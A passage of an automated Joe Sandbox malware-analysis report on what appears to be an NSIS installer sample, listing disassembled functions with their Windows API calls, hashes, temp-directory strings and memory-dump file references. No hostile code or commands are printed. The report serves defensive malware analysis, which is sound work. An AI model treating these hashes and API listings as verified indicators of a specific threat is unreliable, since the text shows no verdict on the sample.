Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: 7C2174B15007059BCB30DF78DA08B5BBBF8AF81714B05892EE992B26E1D734E904DB58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027C4

Part of subcall function 00405FE8: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 00405FFE

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction ID: fc85df120a24998764995467ff6edc9a451c04e372c05a6abf1f77cf4653f2d7
Opcode Fuzzy Hash: 939078a54e4475671e6551d3fd19772fabc7f31a6bf9158e4a480f344115c940
Instruction Fuzzy Hash: 5C51F975D00219ABDF20DF95CA89AAEBB79FF04344F10817BE501B62D0E7B49D828B58

Function 00405479 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,755723A0), ref: 004054D4
SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 595c87a6c684e3cc3ecfa7d9121cf0e7c522785301409aa9d6fada1dea414851
Instruction ID: 1ccddca99fa11d5427df38f31253403cabd393798f33362a1a37d4b4032a7ea7
Opcode Fuzzy Hash: 595c87a6c684e3cc3ecfa7d9121cf0e7c522785301409aa9d6fada1dea414851
Instruction Fuzzy Hash: 42219A71900518BBCB219F95DD85ACFBFB9EF45354F10803AF904B22A0C7798A908FA8

Function 00404D22 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404D3D
GetMessagePos.USER32 ref: 00404D45
ScreenToClient.USER32(?,?), ref: 00404D5F
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404D71
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404D97

Strings

f, xrefs: 00404D73

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 7205eec21020573454be23e67ac2b5f41aa1c09cc3aa20a5ad054807a565c042
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: 63014C71900219BADB00DBA4DD85BFEBBBCAF54B11F10012BBA50F61C0D7B49A058BA5

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED3

Strings

Calibri, xrefs: 00401EB9

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: ff5e119c1dfec186f1bc31a23d162186e9d3ca2dfc2df7b145d176ccd9f6b251
Instruction ID: 39ccdc2dc8d2035913c0323839c6798354fd507b9908b2fcb43e3dcb67b0f82d
Opcode Fuzzy Hash: ff5e119c1dfec186f1bc31a23d162186e9d3ca2dfc2df7b145d176ccd9f6b251
Instruction Fuzzy Hash: C6019271904240EFE7005BB0EE4AB9A3FB4BB15300F208A3AF141B75E2C6B904458BED

Function 6FF425B5 Relevance: 9.1, APIs: 6, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6FF4121B: GlobalAlloc.KERNELBASE(00000040,?,6FF4123B,?,6FF412DF,00000019,6FF411BE,-000000A0), ref: 6FF41225

GlobalFree.KERNEL32(?), ref: 6FF426A3
GlobalFree.KERNEL32(00000000), ref: 6FF426D8

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: a822d23b48568b3f3d66e4274004f5704ca3c9affc177be5894c4b39557a051d
Instruction ID: c97ff57f952e20d08e91d4493e7bd553e4edb81a0b2f3b854f4318e655be36f7
Opcode Fuzzy Hash: a822d23b48568b3f3d66e4274004f5704ca3c9affc177be5894c4b39557a051d
Instruction Fuzzy Hash: A131CD32214502EFCB15AF68C984E2A7FBAFF973143144239F500D7262C732A829CB65

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: a5ba4848feea4339aca0bd9ed9ef3b7077546e738993ad0ee054be50b6b812c9
Instruction ID: 6d3b5365c2144e4253305efdfeae8c7c86b7c4bf3cccdf3f9a106f7510f1e1f6
Opcode Fuzzy Hash: a5ba4848feea4339aca0bd9ed9ef3b7077546e738993ad0ee054be50b6b812c9
Instruction Fuzzy Hash: 6121BD71800124BBCF216FA9DE49D9F7E79EF05364F10023AF560762E1CB784D419BA8

Function 6FF418D9 Relevance: 7.7, APIs: 5, Instructions: 194COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 6FF4193A
GlobalFree.KERNEL32(?), ref: 6FF41ADA
GlobalFree.KERNEL32(?), ref: 6FF41ADF

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 667733a3493d08b3a524972902016801cf0064947eaeaddc8d774d0ea7ddf361
Instruction ID: d05cd5d60aae199ae33422b8e5d82d6580dce23c7bb00569883738afd0321fdb
Opcode Fuzzy Hash: 667733a3493d08b3a524972902016801cf0064947eaeaddc8d774d0ea7ddf361
Instruction Fuzzy Hash: 8851C332D041599ACB239FB886806AEBFB5EF45358B0042DBD514E7243D771BEB187B1

Function 6FF423E0 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6FF42522

Part of subcall function 6FF4122C: lstrcpynW.KERNEL32(00000000,?,6FF412DF,00000019,6FF411BE,-000000A0), ref: 6FF4123C

GlobalAlloc.KERNEL32(00000040), ref: 6FF424A8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6FF424C3

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 2e83babe5917969118adda0704c1ea43f052018a933472fc3fbd12e7dd0a596e
Instruction ID: f3d3a3489d5bbfa72743f45ad37e51a4ac87fbf1dc7f8c628e435133fd9516cb
Opcode Fuzzy Hash: 2e83babe5917969118adda0704c1ea43f052018a933472fc3fbd12e7dd0a596e
Instruction Fuzzy Hash: BA41CEB1108305DFD714EF789880A667BB8FF5A310B00492DE865C72A3DB36A554CB61

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction ID: ee10c8015a3e92cf614b22ba24180aec604fe5fe026a1179c0e7be4a3fdf0cdb
Opcode Fuzzy Hash: 5af5b17495f11576261f65d9e5f109aee1feef29f3286c425d9ce226ac00a781
Instruction Fuzzy Hash: E621F672900119AFCB05DFA4DE45AEEBBB5EF08314F14003AFA45F62A0C7789D51DB98

Function 6FF4161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6FF42238,?,00000808), ref: 6FF41635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6FF42238,?,00000808), ref: 6FF4163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6FF42238,?,00000808), ref: 6FF41650
GetProcAddress.KERNEL32(6FF42238,00000000), ref: 6FF41657
GlobalFree.KERNEL32(00000000), ref: 6FF41660

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 255eb3491d811a9660292a1617febdd4106d6334ddc09c869aa98417be239fdd
Instruction ID: 83b148139e687a40eeb4b3351d7456361b3484777bd9221430eff7d580bf38b7
Opcode Fuzzy Hash: 255eb3491d811a9660292a1617febdd4106d6334ddc09c869aa98417be239fdd
Instruction Fuzzy Hash: 39F037721165387FDA202AAB8C4CD9B7E9CEF9B2F5B110311F718E12A1C5624C25DBF1

Function 00404C14 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CB5
wsprintfW.USER32 ref: 00404CBE
SetDlgItemTextW.USER32(?,0042D268), ref: 00404CD1

Strings

%u.%u%s%s, xrefs: 00404C9F

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 0de71dd1f65287a19c767322f40b6e95ae33ee85482e893f5b2d92d4d5838e0a
Instruction ID: 33068f1a2098bbc59acf923d0b26dc9f7285eb9428391dcb76f0b5068863668e
Opcode Fuzzy Hash: 0de71dd1f65287a19c767322f40b6e95ae33ee85482e893f5b2d92d4d5838e0a
Instruction Fuzzy Hash: 6A11EB73A041283BEB00656D9D46E9E329C9B85334F264237FA25F31D1E978C82182EC

Function 00405DEE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406411: lstrcpynW.KERNEL32(?,?,00000400,00403596,00433F00,NSIS Error,?,00000007,00000009,0000000B), ref: 0040641E

Part of subcall function 00405D91: CharNextW.USER32(?,?,0042FA70,?,00405E05,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

lstrlenW.KERNEL32(0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405E47
GetFileAttributesW.KERNEL32(0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 00405E57

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DEE
4Wu, xrefs: 00405DF0

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4Wu$C:\Users\user\AppData\Local\Temp\
API String ID: 3248276644-3057243036
Opcode ID: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction ID: 87735b5e832f2f8e04389b482ed260ad6458a913df04a2d72dce2697f876d431
Opcode Fuzzy Hash: d647ba489e44e4c384e8f234fc99267bc74e37b9af3ba258ec0477dc6db0c33a
Instruction Fuzzy Hash: A5F0F435104D2216C63233369D09AAF1548CE82364759453BF8D1B22D1DB3C8B838CED

Function 00405CE6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004034B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00405CEC
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004034B2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040370F,?,00000007,00000009,0000000B), ref: 00405CF6
lstrcatW.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405D08

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CE6

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-4083868402
Opcode ID: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction ID: e2e9208f063340fd7176cb3713d1db1a131c248cac7d4947b15e4777b480a213
Opcode Fuzzy Hash: bed06d4f6a82b163f62297ef23baf12e7c7e8c5859eb2f34a161a285e0ec4316
Instruction Fuzzy Hash: 4FD0A771101A306AC1117B84AC05DDF669CAE85300381403BF201B30A4C77C1D5187FD

Function 00402636 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll), ref: 0040268D

Strings

C:\Users\user\AppData\Local\Temp\nsf7C24.tmp, xrefs: 0040267B
C:\Users\user\AppData\Local\Temp\nsf7C24.tmp\System.dll, xrefs: 00402651, 00402676, 00402688, 004026D4

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

